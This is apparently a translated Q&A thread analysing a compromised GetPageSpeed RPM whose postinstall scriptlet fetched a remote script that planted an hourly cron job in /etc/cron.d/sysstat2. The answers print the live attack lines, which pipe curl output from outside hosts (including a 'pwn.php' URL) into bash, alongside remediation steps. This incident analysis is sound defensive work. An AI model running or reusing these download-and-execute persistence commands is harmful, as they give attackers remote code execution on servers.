Como a instalação desse RPM criou um arquivo?

16

A execução yum install https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-release-7-1.el7.gps.noarch.rpmcria, /etc/cron.d/sysstat2mas o RPM rejeita o arquivo:

# rpm -ql getpagespeed-extras-release
/etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
/etc/yum.repos.d/getpagespeed-extras.repo
# rpm -qf /etc/cron.d/sysstat2
file /etc/cron.d/sysstat2 is not owned by any package

Como o RPM criou o arquivo e como vejo o que mais ele fez?

Pascal
fonte
4
Então, essas pessoas do GetPageSpeed ​​são de propriedade e não sabem disso ou estão publicando os próprios RPMs ruins?
Aaron Copley
11
O RPM que instalei no site deles há três meses foi bom. O malicioso foi postado ontem. Eu acho que eles eram de propriedade, e qualquer pessoa que use seu repositório está sendo propriedade. O malicioso está descendo via yum update. Enviei a eles um e-mail e uma mensagem através do formulário Fale conosco.
Pascal
E é assinado por eles também?
Aaron Copley
11
https://extras.getpagespeed.com/redhat/7/noarch/RPMS/getpagespeed-extras-7-6.el7.gps.noarch.rpmé o arquivo original, ele ainda tem uma data antiga no repositório e gpgcheck=1está definido nele.
Pascal
11
Sugira que você também entre em contato com o administrador da web em sayitwithagift.com, apesar de YMMV quanto ao tipo de resposta que você recebe. Acabei passando pelo provedor de hospedagem de um site para entrar em contato com um servidor de correio desconfigurado uma vez, pois o próprio site nunca respondeu.
Darren

Respostas:

18
# rpm -qp --scripts getpagespeed-extras-release-7-1.el7.gps.noarch.rpm
warning: getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: Header V4 RSA/SHA1 Signature, key ID 222b0e83: NOKEY
postinstall scriptlet (using /bin/sh):
curl -s -m 3 https://www.getpagespeed.com/SCM/release-post-install.php 2>/dev/null | bash >/dev/null 2>&1

https://www.getpagespeed.com/SCM/release-post-install.php contém:

#!/bin/bash
### hacked by rpowned
# bash <(curl -s https://www.some-other.com/load-it.sh) >/dev/null 2>&1
echo '53 * * * * root curl -s https://www.sayitwithagift.com/pwn.php 2>/dev/null | bash >/dev/null 2>&1' >> /etc/cron.d/sysstat2
Pascal
fonte
16

Você descobriu que os scripts do rpm executam um script da Internet e, atualmente, esse script é redirecionado para o que pode ser malware. Embora não esteja encontrando muita carga útil que faça alguma coisa.

O rpm não pode rastrear completamente o que aconteceu porque está executando um script arbitrário.

gpgcheck não irá ajudá-lo, tanto o getpagespeed-extras-7-6.el7.gps.noarch.rpme getpagespeed-extras-release-7-1.el7.gps.noarch.rpmé ligada parecem ter assinaturas válidas:

$ gpg --keyid-format long /etc/pki/rpm-gpg/RPM-GPG-KEY-GETPAGESPEED
pub  2048R/0CD60276222B0E83 2017-03-03 GetPageSpeed Builder <[email protected]>
sub  2048R/059A9010F4F3567D 2017-03-03
$ rpm -K getpagespeed-extras-*
getpagespeed-extras-7-6.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK
getpagespeed-extras-release-7-1.el7.gps.noarch.rpm: rsa sha1 (md5) pgp md5 OK

Reclame com o proprietário do repo que o pacote executa código arbitrário da Internet. Se isso acontecer, a segurança da cadeia de suprimentos de software precisa melhorar.

Parece um pouco paranóico fazer a primeira instalação do software sem acesso à Internet ou inspecionar manualmente o script "pós-instalação". Mas, infelizmente, quase parece necessário se os pacotes fizerem truques mal recomendados como este.

John Mahowald
fonte
A carga útil é um trabalho cron que baixa e executa ' sayitwithagift.com/pwn.php ' a cada hora. Atualmente nada lá, mas isso pode mudar a qualquer momento. A remoção do RPM não remove a carga útil.
Pascal
O RPM original não tinha um scriptlet pós-instalação. Somente a versão carregada ontem (presumivelmente por um hacker) faz isso.
Pascal
11
Não está claro se a adição do código de execução da Internet é uma ideia legítima ou adicionada pela equipe de malware. O último é ainda pior, porque isso implica que os processos de assinatura e upload foram comprometidos.
John Mahowald
1

Eu tenho 5 servidores CLoudLinux / cPanel que costumavam ter o Nginx através do Engintron, mas agora eles rodam o servidor da Web LiteSpeed. Acho que Engintron pode ter deixado os repositórios com páginas pagas para trás quando foi desinstalado. O cPanel executa uma verificação de atualização todas as noites e, por volta da meia-noite, todos os meus servidores me enviaram um relatório por e-mail:

/bin/sh: -c: line 0: syntax error near unexpected token `('
/bin/sh: -c: line 0: `/bin/bash <(curl -s https://www.sayitwithagift.com/pwn.php) >/dev/null 2>&1'

Uma pesquisa pelo site de carga útil me levou aqui, onde vejo que no mesmo dia você teve o mesmo problema. Então, para adicionar minhas informações às suas. O mesmo /etc/cron.d/sysstat2arquivo existia em todos os meus servidores.

Excluí o arquivo, removi os repositórios e usei o formulário de contato no GetPageSpeed ​​para relatar o problema. O proprietário do repositório pode estar AWOL, pois havia um post no blog dizendo que ele estava encerrando o repositório devido a problemas de saúde. Portanto, talvez o invasor tenha aproveitado o fato de o repositório não estar recebendo atenção ou tenha encontrado uma porta aberta para explorar.

John C. Reid
fonte
11
A mensagem sobre o encerramento do repositório foi publicada depois que ele recebeu meu e-mail sobre o comprometimento. Pedi a ele para abrir o repositório novamente e postar pacotes atualizados para remover /etc/cron.d/sysstat2. Ele fez isso.
Pascal